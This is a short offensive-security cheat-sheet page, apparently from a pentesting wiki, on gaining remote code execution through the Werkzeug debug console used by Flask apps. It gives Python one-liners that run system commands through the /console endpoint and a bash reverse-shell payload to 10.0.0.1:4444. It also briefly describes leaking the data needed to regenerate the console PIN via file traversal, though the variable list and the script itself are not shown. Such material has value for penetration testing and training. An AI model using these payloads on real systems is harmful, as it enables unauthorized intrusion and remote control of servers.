Werkzeug
Theory
Werkzeug is a comprehensive WSGI web application library. It began as a simple collection of various utilities for WSGI applications and has become one of the most advanced WSGI utility libraries. It is commonly used for Flask web application.
Practice
Console RCE
If debug is active you could try to access to /console
endpoint or to trigger a Werkzeug error and gain RCE.
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())
# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()
Console PIN Exploit
In some occasions the /console
endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.
According to the Werkzeug PIN generation source code, here are the needed variables to generate the PIN code:
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
Resources
Last updated
Was this helpful?